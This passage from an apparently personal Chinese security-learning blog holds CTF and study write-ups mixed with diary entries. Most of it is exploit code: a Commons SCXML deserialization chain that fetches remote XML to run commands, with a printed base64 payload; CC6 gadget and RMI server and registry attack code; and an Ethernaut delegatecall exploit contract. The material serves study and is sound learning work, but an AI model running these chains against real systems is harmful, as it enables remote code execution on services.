req.sendResponseHeaders(code, 0);
var os = req.getResponseBody();
os.write(response.getBytes());
os.close();
});
server.start();
System.out.printf("Server listening on :%s\n", port);
}
}

把你传进去的任何 base64 解码之后进行反序列化;

依赖

四个依赖:

com.n1ght 是出题人留的一定会用,还给了 hint 是一个链接,内容是 commons scxml 这个依赖的一种打法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// copied by QST on https://blog.pyn3rd.com/2023/02/06/Apache-Commons-SCXML-Remote-Code-Execution/
import org.apache.commons.scxml2.SCXMLExecutor;
import org.apache.commons.scxml2.io.SCXMLReader;
import org.apache.commons.scxml2.model.ModelException;
import org.apache.commons.scxml2.model.SCXML;

import javax.xml.stream.XMLStreamException;
import java.io.IOException;

public class SCXMLDemo {
public static void main(String[] args) throws ModelException, XMLStreamException, IOException {

// engine to execute the scxml instance
SCXMLExecutor executor = new SCXMLExecutor();
// parse SCXML URL into SCXML model
SCXML scxml = SCXMLReader.read("http://127.0.0.1:8000/poc.xml");

// set state machine (scxml instance) to execute
executor.setStateMachine(scxml);
executor.go();

}
}

好吧也不能算是打法,只是告诉你这个东西能执行远程代码,还需要起 http 服务挂一个 xml:

1
2
3
4
5
6
7
8
9
10
<?xml version="1.0"?>
<scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="run">
<state id="run">
<onentry>
<script>
''.getClass().forName('java.lang.Runtime').getRuntime().exec('open -a calculator')
</script>
</onentry>
</state>
</scxml>

直接找链子即可,入口点给的很明显了,在 com.n1ght.InvokerImpl

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public class InvokerImpl implements Serializable {
private final Invoker o;
private final String source;
private final Map params;

public InvokerImpl(Invoker o, String source, Map params) {
this.o = o;
this.source = source;
this.params = params;
}

public String toString() {
try {
this.o.invoke(this.source, this.params);
return "success invoke";
} catch (InvokerException var2) {
throw new RuntimeException(var2);
}
}
}

这里重写的 toString() 结合 Main.java 的:

1
java.io.ObjectInputStream(new java.io.ByteArrayInputStream(java.util.Base64.getDecoder().decode(param))).readObject().toString()

很适合作为反序列化的入口点,往下触发 o.invoke() ,进 Invoker ,只有 SimpleSCXMLInvoker 一个实现,看一下 Invoker#invoke() 这个方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
   private static final long serialVersionUID = 1L;
private String parentStateId;
private String eventPrefix;
private SCInstance parentSCInstance;
private SCXMLExecutor executor;
private boolean cancelled;
private static String invokePrefix = ".invoke.";
private static String invokeDone = "done";
private static String invokeCancelResponse = "cancel.response";
public SimpleSCXMLInvoker() {
}
public void invoke(String source, Map<String, Object> params) throws InvokerException {
SCXML scxml = null;

try {
scxml = SCXMLReader.read(new URL(source));
} catch (ModelException var9) {
throw new InvokerException(var9.getMessage(), var9.getCause());
} catch (IOException var10) {
throw new InvokerException(var10.getMessage(), var10.getCause());
} catch (XMLStreamException var11) {
throw new InvokerException(var11.getMessage(), var11.getCause());
}

Evaluator eval = this.parentSCInstance.getEvaluator();
this.executor = new SCXMLExecutor(eval, new SimpleDispatcher(), new SimpleErrorReporter());
Context rootCtx = eval.newContext((Context)null);
Iterator var6 = params.entrySet().iterator();

while(var6.hasNext()) {
Map.Entry<String, Object> entry = (Map.Entry)var6.next();
rootCtx.setLocal((String)entry.getKey(), entry.getValue());
}

this.executor.setRootContext(rootCtx);
this.executor.setStateMachine(scxml);
this.executor.addListener(scxml, new SimpleSCXMLListener());
this.executor.registerInvokerClass("scxml", this.getClass());

try {
this.executor.go();
} catch (ModelException var8) {
throw new InvokerException(var8.getMessage(), var8.getCause());
}

if (this.executor.getCurrentStatus().isFinal()) {
TriggerEvent te = new TriggerEvent(this.eventPrefix + invokeDone, 3);
(new AsyncTrigger(this.parentSCInstance.getExecutor(), te)).start();
}

}

结合 hint 容易知道 this.executor.go() 能执行参数 source<script> 包含的 Java 代码(JEXL 短表达式),但创建出来这个类里很多属性默认是 null,需要动手设置一下;

这里 executor 直到 this.executor.go() 之前调用了 this.parentSCInstance.getEvaluator(),这提出了四点要求:

  1. 实例化一个 SCXMLExecutor ,进而实例化一个 SCInstance
  2. 实例化一个 Evaluator
  3. 设置 this.parentSCInstance 为实例化出来的 SCInstance
  4. this.parentSCInstance.setEvaluator()

其中,SCInstance(Executor)protected 构造方法,exp 中需要反射调用;

this.parentSCInstance.setEvaluator() 也为 protected 方法,也需要反射调用;

Evaluator 有好四种,根据 <script> 执行的语句为 Java 判断传入 JexlEvaluator,事实上别的类也用不了;

首先将恶意的 xml 挂在一个 http 服务上,我使用简单的 httpd 起镜像:

1
docker run -d -p 8081:80 httpd:2.4.62-bookworm

进入文件系统将 /usr/local/apache2/htdocs/index.html 改为 exp xml 内容:

1
2
3
4
5
6
7
8
9
10
<?xml version="1.0"?>
<scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="run">
<state id="run">
<onentry>
<script>
''.getClass().forName('java.lang.Runtime').getRuntime().exec('calc')
</script>
</onentry>
</state>
</scxml>

运行完整 payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
import com.n1ght.InvokerImpl;
import org.apache.commons.scxml2.Evaluator;
import org.apache.commons.scxml2.SCInstance;
import org.apache.commons.scxml2.SCXMLExecutor;
import org.apache.commons.scxml2.env.jexl.JexlEvaluator;
import org.apache.commons.scxml2.invoke.SimpleSCXMLInvoker;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

/**
* expolit scxml
*
* @author qst137
* @version 1.0
*/
public class Exploit {
public static void main(String[] args) throws Exception {
System.out.println(new Exploit().getPayload());
}

private String getPayload() throws Exception {
// create SCInstance object
SCXMLExecutor scxmlExecutor = new SCXMLExecutor();
Constructor scInstanceConstructor = SCInstance.class.getDeclaredConstructors()[0];
scInstanceConstructor.setAccessible(true);
SCInstance scInstance = (SCInstance) scInstanceConstructor.newInstance(scxmlExecutor);

// set Evaluator of SCInstance
JexlEvaluator jexlEvaluator = new JexlEvaluator();
Method setEvalMethod = SCInstance.class.getDeclaredMethod("setEvaluator", Evaluator.class);
setEvalMethod.setAccessible(true);
setEvalMethod.invoke(scInstance, jexlEvaluator);

// create Invoker, set SCInstance and create InvokerImpl (entrypoint)
SimpleSCXMLInvoker invoker = new SimpleSCXMLInvoker();
invoker.setSCInstance(scInstance);
// empty params map
Map<String, Object> map = new HashMap<>();
InvokerImpl payload = new InvokerImpl(invoker, "http://localhost:8081/", map);

// output base64 payload
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream ois = new ObjectOutputStream(bos);
ois.writeObject(payload);

return new String(Base64.getEncoder().encode(bos.toByteArray()));
}
}

/*
rO0ABXNyABVjb20ubjFnaHQuSW52b2tlckltcGyTOSc2zqCsvwIAA0wAAW90ACpMb3JnL2FwYWNoZS9jb21tb25zL3NjeG1sMi9pbnZva2UvSW52b2tlcjtMAAZwYXJhbXN0AA9MamF2YS91dGlsL01hcDtMAAZzb3VyY2V0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyADNvcmcuYXBhY2hlLmNvbW1vbnMuc2N4bWwyLmludm9rZS5TaW1wbGVTQ1hNTEludm9rZXIAAAAAAAAAAQIABVoACWNhbmNlbGxlZEwAC2V2ZW50UHJlZml4cQB+AANMAAhleGVjdXRvcnQAKUxvcmcvYXBhY2hlL2NvbW1vbnMvc2N4bWwyL1NDWE1MRXhlY3V0b3I7TAAQcGFyZW50U0NJbnN0YW5jZXQAJkxvcmcvYXBhY2hlL2NvbW1vbnMvc2N4bWwyL1NDSW5zdGFuY2U7TAANcGFyZW50U3RhdGVJZHEAfgADeHAAcHBzcgAkb3JnLmFwYWNoZS5jb21tb25zLnNjeG1sMi5TQ0luc3RhbmNlAAAAAAAAAAICAApMAAtjb21wbGV0aW9uc3EAfgACTAAIY29udGV4dHNxAH4AAkwACWV2YWx1YXRvcnQAJUxvcmcvYXBhY2hlL2NvbW1vbnMvc2N4bWwyL0V2YWx1YXRvcjtMAAhleGVjdXRvcnEAfgAGTAAJaGlzdG9yaWVzcQB+AAJMABRpbml0aWFsU2NyaXB0Q29udGV4dHQAI0xvcmcvYXBhY2hlL2NvbW1vbnMvc2N4bWwyL0NvbnRleHQ7TAAOaW52b2tlckNsYXNzZXNxAH4AAkwACGludm9rZXJzcQB+AAJMABRub3RpZmljYXRpb25SZWdpc3RyeXQAMExvcmcvYXBhY2hlL2NvbW1vbnMvc2N4bWwyL05vdGlmaWNhdGlvblJlZ2lzdHJ5O0wAC3Jvb3RDb250ZXh0cQB+AAt4cHNyACVqYXZhLnV0aWwuQ29sbGVjdGlvbnMkU3luY2hyb25pemVkTWFwG3P5CUtLOXsDAAJMAAFtcQB+AAJMAAVtdXRleHQAEkxqYXZhL2xhbmcvT2JqZWN0O3hwc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4cQB+ABB4c3EAfgAOc3EAfgARP0AAAAAAAAB3CAAAABAAAAAAeHEAfgATeHNyADBvcmcuYXBhY2hlLmNvbW1vbnMuc2N4bWwyLmVudi5qZXhsLkpleGxFdmFsdWF0b3IAAAAAAAAAAQIAAloAEGpleGxFbmdpbmVTaWxlbnRaABBqZXhsRW5naW5lU3RyaWN0eHAAAHNyACdvcmcuYXBhY2hlLmNvbW1vbnMuc2N4bWwyLlNDWE1MRXhlY3V0b3IAAAAAAAAAAQIACFoACXN1cGVyU3RlcEwADWN1cnJlbnRTdGF0dXN0ACJMb3JnL2FwYWNoZS9jb21tb25zL3NjeG1sMi9TdGF0dXM7TAANZXJyb3JSZXBvcnRlcnQAKUxvcmcvYXBhY2hlL2NvbW1vbnMvc2N4bWwyL0Vycm9yUmVwb3J0ZXI7TAAPZXZlbnRkaXNwYXRjaGVydAArTG9yZy9hcGFjaGUvY29tbW9ucy9zY3htbDIvRXZlbnREaXNwYXRjaGVyO0wAA2xvZ3QAIExvcmcvYXBhY2hlL2NvbW1vbnMvbG9nZ2luZy9Mb2c7TAAKc2NJbnN0YW5jZXEAfgAHTAAJc2VtYW50aWNzdAAqTG9yZy9hcGFjaGUvY29tbW9ucy9zY3htbDIvU0NYTUxTZW1hbnRpY3M7TAAMc3RhdGVNYWNoaW5ldAAnTG9yZy9hcGFjaGUvY29tbW9ucy9zY3htbDIvbW9kZWwvU0NYTUw7eHABc3IAIG9yZy5hcGFjaGUuY29tbW9ucy5zY3htbDIuU3RhdHVzAAAAAAAAAAECAAJMAAZldmVudHN0ABZMamF2YS91dGlsL0NvbGxlY3Rpb247TAAGc3RhdGVzdAAPTGphdmEvdXRpbC9TZXQ7eHBzcgATamF2YS51dGlsLkFycmF5TGlzdHiB0h2Zx2GdAwABSQAEc2l6ZXhwAAAAAHcEAAAAAHhzcgARamF2YS51dGlsLkhhc2hTZXS6RIWVlri3NAMAAHhwdwwAAAAQP0AAAAAAAAB4cHBzcgArb3JnLmFwYWNoZS5jb21tb25zLmxvZ2dpbmcuaW1wbC5KZGsxNExvZ2dlckJmt5/gKqC8AgABTAAEbmFtZXEAfgADeHB0ACdvcmcuYXBhY2hlLmNvbW1vbnMuc2N4bWwyLlNDWE1MRXhlY3V0b3JzcQB+AAlzcQB+AA5zcQB+ABE/QAAAAAAAAHcIAAAAEAAAAAB4cQB+ACt4c3EAfgAOc3EAfgARP0AAAAAAAAB3CAAAABAAAAAAeHEAfgAteHBxAH4AHnNxAH4ADnNxAH4AET9AAAAAAAAAdwgAAAAQAAAAAHhxAH4AL3hwc3EAfgAOc3EAfgARP0AAAAAAAAB3CAAAABAAAAAAeHEAfgAxeHNxAH4ADnNxAH4AET9AAAAAAAAAdwgAAAAQAAAAAHhxAH4AM3hzcgAub3JnLmFwYWNoZS5jb21tb25zLnNjeG1sMi5Ob3RpZmljYXRpb25SZWdpc3RyeQAAAAAAAAABAgABTAAEcmVnc3EAfgACeHBzcQB+AA5zcQB+ABE/QAAAAAAAAHcIAAAAEAAAAAB4cQB+ADd4cHNyADZvcmcuYXBhY2hlLmNvbW1vbnMuc2N4bWwyLnNlbWFudGljcy5TQ1hNTFNlbWFudGljc0ltcGwAAAAAAAAAAQIAAkwABmFwcExvZ3EAfgAbTAAQdGFyZ2V0Q29tcGFyYXRvcnQAQExvcmcvYXBhY2hlL2NvbW1vbnMvc2N4bWwyL3NlbWFudGljcy9UcmFuc2l0aW9uVGFyZ2V0Q29tcGFyYXRvcjt4cHNxAH4AJ3QAKG9yZy5hcGFjaGUuY29tbW9ucy5zY3htbDIuU0NYTUxTZW1hbnRpY3NzcgA+b3JnLmFwYWNoZS5jb21tb25zLnNjeG1sMi5zZW1hbnRpY3MuVHJhbnNpdGlvblRhcmdldENvbXBhcmF0b3IAAAAAAAAAAQIAAHhwcHNxAH4ADnNxAH4AET9AAAAAAAAAdwgAAAAQAAAAAHhxAH4AQHhwc3EAfgAOc3EAfgARP0AAAAAAAAB3CAAAABAAAAAAeHEAfgBCeHNxAH4ADnNxAH4AET9AAAAAAAAAdwgAAAAQAAAAAHhxAH4ARHhzcQB+ADVzcQB+AA5zcQB+ABE/QAAAAAAAAHcIAAAAEAAAAAB4cQB+AEd4cHBzcQB+ABE/QAAAAAAAAHcIAAAAEAAAAAB4dAAWaHR0cDovL2xvY2FsaG9zdDo4MDgxLw==
*/

传参:

弹出计算器,本地通;

求甚解

JexlEvaluator 的构造方法看成了 protected,想,如果这个 evaluator 使用者实例化不了那这个库是干什么用的;

这样题反射也能出,想起来学区块链 web3.js public 变量也非要用 getStorageAt() 了,某种强迫症;

言归正传,一直在想这个库到底有什么用,乱看了一晚上,觉忘记睡了,刚刚上早八发现 JexlEvaluator() 是公有的;

我也不知道学习安全的该不该想这么多,事实上每次这样纠结很久最后都会发现自己是错的,而且得出的总是很浅显的结论;

但其实和 IDEA 大眼瞪小眼一整夜,收获也不能说是完全没有。

添砖 Java 壹

该学点正经东西了,开始视奸学长博客,哈哈;

RMI

学习一下 RMI 的配置:

Server

接口

1
2
3
4
5
public interface RemoteInterface extends Remote {
public String sayHello() throws RemoteException;
public String sayHello(Object name) throws RemoteException;
public String sayGoodbye() throws RemoteException;
}

调用类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// inherit UnicastRemoteObject to export the remote class automatically
public class RemoteObject extends UnicastRemoteObject implements RemoteInterface {
protected RemoteObject() throws RemoteException {
}
@Override
public String sayHello() throws RemoteException {
return "Hello My Friend";
}
@Override
public String sayHello(Object name) throws RemoteException {
return name.getClass().getName();
}
@Override
public String sayGoodbye() throws RemoteException {
return "Bye";
}
}

创建注册中心,绑定端口

1
2
3
4
5
6
7
8
9
10
11
12
13
public class RMIServer{
public static void main(String[] args) throws RemoteException, MalformedURLException, AlreadyBoundException, InterruptedException {
try{
// start server
LocateRegistry.createRegistry(PORT);
// bind object to port
RemoteInterface remoteObject = mew RemoteObject();
Naming.bind("rmi://127.0.0.1:1099/RemoteObject", remoteObject);
} catch (Exception e) {
e.printStackTrace();
}
}
}

Client

调用接口

1
2
3
4
5
6
7
8
9
10
11
public class RMIClient {
public static void main(String[] args) throws RemoteException, NotBoundException {
// link registry
Registry registry = LocateRegistry.getRegistry(RMI_SERVER_IP, PORT);
System.out.println(Arrays.toString(registry.list()));
// lookup by name
RemoteInterface stub = (RemoteInterface) registry.lookup("RemoteObject");
System.out.println(stub.sayHello());
System.out.println(stub.sayGoodbye());
}
}

动态类加载

1
2
System.setProperty("java.rmi.server.codebase", URL);
// same as startup params [-Djava.rmi.server.codebase="{URL}"]

Client 调用的对象 RemoteObject如果在 Server 不存在,如果 Server 有设置 java.rmi.server.codebase ,则会从 URL 寻找字节码 RemoteObject.class

安全策略

1
2
3
if (System.getSecurityManager() == null) {
System.setSecurityManager(new RMISecurityManager());
}

安全策略

策略文件默认为:$JAVA_HOME/jre/lib/security/java.policy

自定义策略文件 rmi.policy

1
2
3
grant {
permission java.security.AllPermission;
}

设置管理器:

1
2
3
4
if (System.getSecurityManager() == null) {
System.setSecurityManager(new RMISecurityManager());
}
// same as startup params [-Djava.security.manager]

指定策略:

1
2
System.setProperty("java.security.policy", RemoteServer.class.getClassLoader().getResource("rmi.policy").toString());
// same as startup params [-Djava.security.policy=rmi.policy]

Server Attack

evil params

Client 端传 Object 对象给 Server,可以触发反序列化;

示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
// interface
public interface RMIClass extends Remote {
public String sayHello() throws RemoteException;
public String sayHello(Object o) throws RemoteException;
}

// attacked server
public class RMIServer {
private static final String OBJECT_URL = "rmi://localhost:1099/Hello";
// private static final String CODEBASE_URL = "http://127.0.0.1:9999/";
private static final String POLICY_FILE = "rmi.policy";
private static final String SERVER_START_MESSAGE = "SERVER STARTED";
private static final int REGISTRY_PORT = 1099;

public static void main(String[] args) throws MalformedURLException, AlreadyBoundException, RemoteException {
System.setProperty("java.rmi.server.codebase", CODEBASE_URL);
System.setProperty("java.security.policy", RMIServer.class.getClassLoader().getResource(POLICY_FILE).toString());
LocateRegistry.createRegistry(REGISTRY_PORT);
RMIClass remoteObject = new RMIClassImpl();
Naming.bind(OBJECT_URL, remoteObject);
System.out.println(SERVER_START_MESSAGE);
}
}

// attack client
public class RMIClient {
private static final String BINDED_NAME = "Hello";
private static final String IP = "127.0.0.1";
private static final int PORT = 1099;


public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.getRegistry(IP, PORT);
RMIClass stub = (RMIClass) registry.lookup(BINDED_NAME);
System.out.println(Arrays.toString(registry.list()));
// System.out.println(stub.sayHello());
System.out.println(stub.sayHello(getPayload()));
}

public static Object getPayload() throws Exception {
// CC6 excute "calc"
}
}

CS 分别运行,弹计算器;

另外不难想到,只要 Server 端接收非基本类型,都会触发反序列化,这里有一个问题:

如果 Server 接收和 Client 发送的类型签名不一致,会抛出一个错误,如果将 Server 端的 RMIClass 接口改为:

1
2
3
4
public interface RMIClass extends Remote {
public String sayHello() throws RemoteException;
public String sayHello(Integer i) throws RemoteException;
}

报错如下:

1
2
// remoteException occurred in server thread; nested exception is: 
// java.rmi.UnmarshalException: unrecognized method hash: method not supported by remote object

在远程对象上找不到对应签名的方法所致,在 java.rmi.server.RemoteObjectInvocationHandler#invokeRemoteMethod 下一下断点:

里面有这样一段:

1
return ref.invoke((Remote) proxy, method, args, getMethodHash(method));

这里进行远程调用,事实上 getMethodHash 是用来定位方法的,而且 Client 可以被攻击者完全控制,因此使用 hook 在这里把被 hash 的 method 改为和远程对象一致的方法即可绕过对签名的检验;

首先在 Client 端的 RMIClass 接口加上目标函数:

1
2
3
4
5
public interface RMIClass extends Remote {
public String sayHello() throws RemoteException;
public String sayHello(Integer i) throws RemoteException;
public String sayHello(Object name) throws RemoteException;
}

断点处栈的状况:

method 改为:

1
RMIClass.class.getMethod("sayHello", Integer.class)

即可绕过校验触发反序列化,弹出计算器;

故而只要有传非基本类型参数的函数,Server 端都可以反序列化任意 payload,这一层相当于通杀了;

看到这了重新学一下 CC6;

CC6

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
public static Object getEvilClass() throws Exception {
// RCE transformer chain
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer(
"getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", null}
),
new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{Runtime.class, null}
),
new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"calc.exe"}
)
};

// put fake transformers
// use reflection instead of "put" method to avoid unexpected serialization
Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);

Map innerMap = new HashMap<>();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);

TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, "test");
Map expMap = new HashMap();
expMap.put(tiedMapEntry, "any");

// remove the pair "'test':1" inserted by LazyMap#get()
outerMap.remove("test");

// use reflection to put real transformer in
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);

return expMap;
}

唯一需要注意的点是,中间 remove 去除了 LazyMap 在第一次 expMap.put() 时触发 tiedMapEntry.hashcode() 进而触发 tiedMapEntry.getValue() 进而触发 map.get() 时被 LazyMap 特性插入的值;

LazyMap 的特点是 get 不存在的值会触发 transformer,然后返回并插入 transformer 的返回值,必须要移除掉这个值,靶机真正反序列化 payload 的时候才能再次调用恶意的 transformer;

理解了这一点,基本就理解了 CC6;

Registry Attack

先把 SDK 改成 JDK8u20

已知 registry.rebind()registry.bind()registry.lookup() 过程都会触发反序列化,以从 Server 端 registry.rebind() 打 Register 端为例,其传递的对象参数必须实现 Remote 接口,通过动态代理 InvocationHandler 的方式可以给 payload 包装一层 Remote 接口;

选用 AnnotationInvocationHandler 是因为其可以包含一个任意 Map 对象的序列化数据,很好用,因此与 CC1 被修复了无关,只要有反序列化 AnnotationInvocationHandler 的条件,这个包装方式其实是可以长足利用的;

进行代理之后辅以强转即可:

1
2
3
4
5
6
Constructor aihConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").
getDeclaredConstructor(Class.class, Map.class);
aihConstructor.setAccessible(true);

InvocationHandler handler = (InvocationHandler) aihConstructor.newInstance(Override.class, getEvilClass());
Remote remote = (Remote) Proxy.newProxyInstance(RMIServer.class.getClassLoader(), new Class[]{Remote.class}, handler);

完整代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
public class RMIServer {
private static final String OBJECT_URL = "rmi://localhost:1099/Hello";
// private static final String CODEBASE_URL = "http://127.0.0.1:9999/";
private static final String POLICY_FILE = "rmi.policy";
private static final String SERVER_START_MESSAGE = "SERVER STARTED";
private static final String REGISTRY_IP = "localhost";
private static final int REGISTRY_PORT = 1099;

public static void main(String[] args) throws Exception {
// start server
// System.setProperty("java.rmi.server.codebase", CODEBASE_URL);
System.setProperty("java.security.policy", RMIServer.class.getClassLoader().
getResource(POLICY_FILE).toString());
LocateRegistry.createRegistry(REGISTRY_PORT);
RMIClass remoteObject = new RMIClassImpl();
Naming.bind(OBJECT_URL, remoteObject);
System.out.println(SERVER_START_MESSAGE);

// attack registry by CC6
Registry registry = LocateRegistry.getRegistry(REGISTRY_IP, REGISTRY_PORT);
// use any serializable InvocationHandler to do proxy
Constructor aihConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").
getDeclaredConstructor(Class.class, Map.class);
aihConstructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) aihConstructor.newInstance(Override.class, getEvilClass());
Remote remote = (Remote) Proxy.newProxyInstance(
RMIServer.class.getClassLoader(),
new Class[]{Remote.class},
handler);
registry.rebind("QST", remote);
// registry.bind("QST", remote);
}

public static Object getEvilClass() throws Exception {
// CC6 payload generation
return expMap;
}
}

fix in jdk8u121

白名单 ObjectInputFilter 机制加入,RMI Registry 首当其冲,新增的 RegistryImpl#registryFilter 使用讨厌的白名单机制过滤反序列化数据的属性:

1
2
3
4
5
6
7
8
9
10
return String.class != var2 && 
!Number.class.isAssignableFrom(var2) &&
!Remote.class.isAssignableFrom(var2) &&
!Proxy.class.isAssignableFrom(var2) &&
!UnicastRef.class.isAssignableFrom(var2) &&
!RMIClientSocketFactory.class.isAssignableFrom(var2)
&& !RMIServerSocketFactory.class.isAssignableFrom(var2) &&
!ActivationID.class.isAssignableFrom(var2) &&
!UID.class.isAssignableFrom(var2)
? Status.REJECTED : Status.ALLOWED;

下断点动调一下,发现 ObjectInputFilter 对类的检查是递归的,如 AnnotationInvocationHandle 这些内部类会被检查出来 REJECTED 掉;

如何用有限的类去构造 gadget 就成了问题,先写到这;

总会

粘腻的青春已然板结了他的土壤,播种下再多的种子,他的青春也只是一场空,而非能够在未来的某一天发芽了;

好想再来一次,虽然总会成为老师的。

两载上下

两载上非下

长城杯前几天刚跟人吵了架,口嗨恶心到人家,我又叛逆症发作,给人家考研哥挤兑退群了;

我肯定不想的,他很好的一个人,但我也没道理嘴上让步,我确实没错,让步我也不爽了,我压力也大啊!

我一直不相信”道不同不相为谋“这句话,我认为人生很大程度是因为”道不同相为谋“这种事情的存在变得精彩刺激起来的;

可是我在接纳别人的时候却又不循循善诱别人接纳自己,这就是我的不对了;

两载上与下

啊操,这何尝不是一种摆烂呢,突然想起 22.09 的自己,像一条已经失去了生的希望的死鱼,讨厌的人在抢救我,回去问问它,能不能拔掉我的氧气管呢;

事实上是我进化成新的生命了,似乎是很恶心的生命,但我身上像卸下了几万斤的担子,想必外表看起来很丑陋,因为试图抢救我把我变回活鱼的它瞠目结舌;

两栖动物在鱼眼里想必是丑陋,手脚好怪,鱼为什么不能永远圆圆的呢,长出手脚有什么用呢?掰到了怎么办呢?掰疼了怎么办呢?掰断了怎么办呢?没有手脚,还会游泳吗?

两载上或下

挨骂具体日期不记得了,大概是最近,懒得重新去翻,不能反反复复捡骂;

青春留给我的两项作品赛,目前已经完成的很好,可能也有了点挑衅的资本;

时至今日,再去骂我的老朋友们应该也不再是因为心虚了,却再没了半分雅致,这是非常反常的一件事;

也不知在这漫漫短夜的一个角落,是否还有一个悲喜都像是带着哭腔的声音,仍孜孜不倦地暗咒着我的龌龊与冰冷。

区块链学习之肆

老想学币了,可是币太贵了;

ethernaut - Preservation

description

1
2
3
4
5
6
7
8
9
10
// This contract utilizes a library to store two different times for two different timezones. The constructor creates two instances of the library for each time to be stored.

// The goal of this level is for you to claim ownership of the instance you are given.

// Things that might help

// Look into Solidity's documentation on the delegatecall low level function, how it works, how it can be used to delegate operations to on-chain. libraries, and what implications it has on execution scope.
// Understanding what it means for delegatecall to be context-preserving.
// Understanding how storage variables are stored and accessed.
// Understanding how casting works between different data types.

source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Preservation {
// public library contracts
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint256 storedTime;
// Sets the function signature for delegatecall
bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));

constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) {
timeZone1Library = _timeZone1LibraryAddress;
timeZone2Library = _timeZone2LibraryAddress;
owner = msg.sender;
}

// set the time for timezone 1
function setFirstTime(uint256 _timeStamp) public {
timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}

// set the time for timezone 2
function setSecondTime(uint256 _timeStamp) public {
timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
}

// Simple library contract to set the time
contract LibraryContract {
// stores a timestamp
uint256 storedTime;

function setTime(uint256 _time) public {
storedTime = _time;
}
}

分析源码,Preservation 定义了两个成员合约,可以存储时间,然后定义两个函数,通过 delegatecall() 调用 setTime()

delegatecall() 的特点在这,在执行目标函数的时候,并不改变执行的上下文,本意是提供调用库函数的功能,但自然也能修改原合约的成员变量;

但如何污染库?其实这个合约函数本身写的是有问题的,storedTime = _time; 这个赋值操作在原文的上下文中并不能找到 uint256 storedTime,而是将在 delegatecall() 的上下文中与 LibraryContractuint256 storedTime 对应的 Storage 槽的对应位置的存储赋为目标值,这是 delegatecall() 的特性;

timeZone1Libraryuint256 storedTime 位于第 1 个槽(填满),对应 Preservationaddress public timeZone1Library ;

故而解题思路是,部署一个能修改 owner 的恶意合约,然后以上述原理将 timeZone1LibrarytimeZone2Library.setTime() 污染为恶意合约地址,再调用 timeZone1Library.setTime() 即可;

题解

attack contract

1
2
3
4
5
6
7
8
9
10
11
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract PreservationAttack{
address public timeZone1Library;
address public timeZone2Library;
address public owner;
function setTime(uint256) public {
owner = tx.origin;
}
}

得到恶意合约 0x72872ddD9571727C9F8Fe91Cb6023deFCCF8a423

payload

1
2
3
4
5
// pollute timeZone1Library 
await contract.setSecondTime('0x72872ddD9571727C9F8Fe91Cb6023deFCCF8a423')

// delecatecall attack contract
await contract.setFirstTime('0x0')

成功;

ethernaut - Preservation

description

1
2
3
// A contract creator has built a very simple token factory contract. Anyone can create new tokens with ease. After deploying the first token contract, the creator sent 0.001 ether to obtain more tokens. They have since lost the contract address.

// This level will be completed if you can recover (or remove) the 0.001 ether from the lost contract address.

source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Recovery {
//generate tokens
function generateToken(string memory _name, uint256 _initialSupply) public {
new SimpleToken(_name, msg.sender, _initialSupply);
}
}

contract SimpleToken {
string public name;
mapping(address => uint256) public balances;

// constructor
constructor(string memory _name, address _creator, uint256 _initialSupply) {
name = _name;
balances[_creator] = _initialSupply;
}

// collect ether in return for tokens
receive() external payable {
